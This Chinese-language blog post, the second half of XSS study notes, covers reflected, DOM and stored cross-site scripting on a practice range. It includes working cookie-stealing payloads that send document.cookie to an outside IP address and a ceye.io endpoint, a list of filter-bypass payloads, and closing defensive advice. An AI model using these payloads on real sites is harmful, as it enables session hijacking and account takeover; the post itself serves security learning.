XSS攻击笔记(下)
这是XSS笔记下半部分,因为可能字数原因,注意回顾上半部分;
作者:博客园-狐小妖
实战模拟
靶场:https://xss.haozi.me/
反射型xss
我们获得一个编辑框,我们在编辑框中,或者请求参数里面提交xss语句,我们这里要盗取cookie,可以借用一个平台:https://xss.pt/
创建一个项目,然后所有功能都勾选上,然后我们复制项目这一句粘贴到编辑框中;
其实也可以在自己服务器上开启监听,然后在编辑框中输入:
<script>document.location='http://39.108.189.85:1084/?cookie='+document.cookie;</script>
提交成功之后我们就可以回到xss平台上查看我们获得的数据了,点击项目
dom型xss
如果不想使用xss平台,而是想使用传到我们自己服务器上的方法,那我们先开启监听
然后在编辑框中输入:(39.108.189.85:1084是我们自己服务器的地址;39.108.189.85:1085是目标服务器地址)
<script>document.location='http://39.108.189.85:1084/?cookie='+document.cookie;</script>
也可以使用ceye.io平台,前面有说过:
然后复制的粘贴改成下面这样:
<script>document.location='http://dmv1so.ceye.io?cookie='+document.cookie</script>
粘贴到目标服务器的编辑框中,提交:
回到ceye.io,刷新:
存储型xss
如果是黑客将上方代码插入到过滤不严谨的留言区、评论区,所有访问到插入代码的数据位置的人,cookie都将会被转发到黑客指定的服务器上,这样黑客就可以利用你的cookie去登录该站点了;
因为插入的代码将会一直被存储在服务器的数据库中,而有人翻看留言区、评论区等都有可能浏览到黑客插入代码的地方,当只要被请求到本地,那么cookie就会被转发到黑客服务器上;
作者:博客园-狐小妖
xss绕过
-
闭合标签绕过
- <textarea>、<title>等RCDATA标签内无法xss需要先使用</title>闭合
- value等元素属性闭合
- 注释闭合
-
绕过小括号、双引号、单引号
- 利用反引号``
- `<script>alert`1`</script>
- 编码绕过(利用实体编码、unicode编码绕过)
- <img src=x onerror="alert(1)"> 属性内可以识别html实体编码
- <svg><script>alert(1)</script> <svg> 遵循XML 和 SVG 的定义
- 利用反引号``
-
混淆绕过(利用html语法不严格、容错性)
-
换行
-
缺失>闭合的标签
-
空格、TAB
-
-
关键字绕过
-
大小写绕过
-
编码绕过
<img src=1 onerror=alert(1)> (实体编码绕过) <svg><script>alert(1)</script>
-
字符拼接
<img src="x" onerror="a=`aler`;b=`t`;c='(1);';eval(a+b+c)"> <script>top["al"+"ert"](1);</script>
-
-
空格绕过
-
利用/代替空格
<img/src="x"/onerror=alert(1);>
-
编码绕过(利用实体编码、unicode编码绕过)
<img src=x onerror="alert(1)"> 属性内可以识别html实体编码 <svg><script>alert(1)</script> <svg>遵循XML 和 SVG 的定义
-
-
利用eval等方法绕过;作者:博客园-狐小妖
<script>eval.call`${'alert\x281)'}`</script> <script>prompt.call`${1}`</script> img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
-
可控点在标签内部的绕过
-
当某个可控点在标签内部,那么可以利用事件绕过
<img src=1 onerror=alert(1)> <a href=1 onclick=alert(1)>
-
标签属性支持javascript:协议
<iframe src=javascript:alert(1);> <a href=javascript:alert(1)>
-
防御xss方法
-
对输入和URL参数进行过滤
-
限制输入数据长度
-
对输入数据格式进行验证(纯数字、符合邮箱、用户名格式)
-
过滤、删除危险字符
-
-
对输出进行编码
- php使用htmlspeicalchars()函数,输出实体编码
-
设置HttpOnly 防止cookie被js盗取
- session.cookie_httponly=1
-
设置CSP
- CSP:Content Security Policy(内容安全策略),其旨在减少跨站脚本攻击。由开发者定义一些安全性的策略声明,来指定可信的
-
针对于jsonp防御
- 设置Content-Type为application/json
- 利用htmlspecialchars()等方法过滤或转译参数
本文来自博客园,作者:狐小妖,转载请注明原文链接:https://www.cnblogs.com/huxiaoyao/p/16414815.html